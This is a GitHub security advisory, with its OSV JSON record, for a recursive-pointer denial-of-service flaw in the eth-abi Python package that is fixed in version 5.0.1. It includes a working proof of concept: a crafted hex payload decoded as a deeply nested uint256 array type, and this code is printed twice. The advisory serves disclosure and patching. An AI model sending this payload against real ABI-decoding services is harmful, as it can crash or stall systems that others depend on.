GHSA-3QWC-47JF-5RF7

Vulnerability from github – Published: 2024-03-05 14:39 – Updated: 2024-03-05 14:39
VLAI?
Summary
eth-abi is vulnerable to recursive DoS
Details

This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue

from eth_abi import decode


payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"

# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))

decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "eth-abi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-05T14:39:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it\u0027s a different one. Basically a recursive pointer issue\n\n```py\nfrom eth_abi import decode\n\n\npayload = \"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020\"\n\n# OverflowError: Python int too large to convert to C ssize_t\n#decode([\u0027(uint256[][][][][][][][][][])\u0027], bytearray.fromhex(payload))\n\ndecode([\u0027uint256[][][][][][][][][][]\u0027], bytearray.fromhex(payload+(\u002700\u0027 * 1024)))\n```",
  "id": "GHSA-3qwc-47jf-5rf7",
  "modified": "2024-03-05T14:39:13Z",
  "published": "2024-03-05T14:39:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ethereum/eth-abi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "eth-abi is vulnerable to recursive DoS"
}


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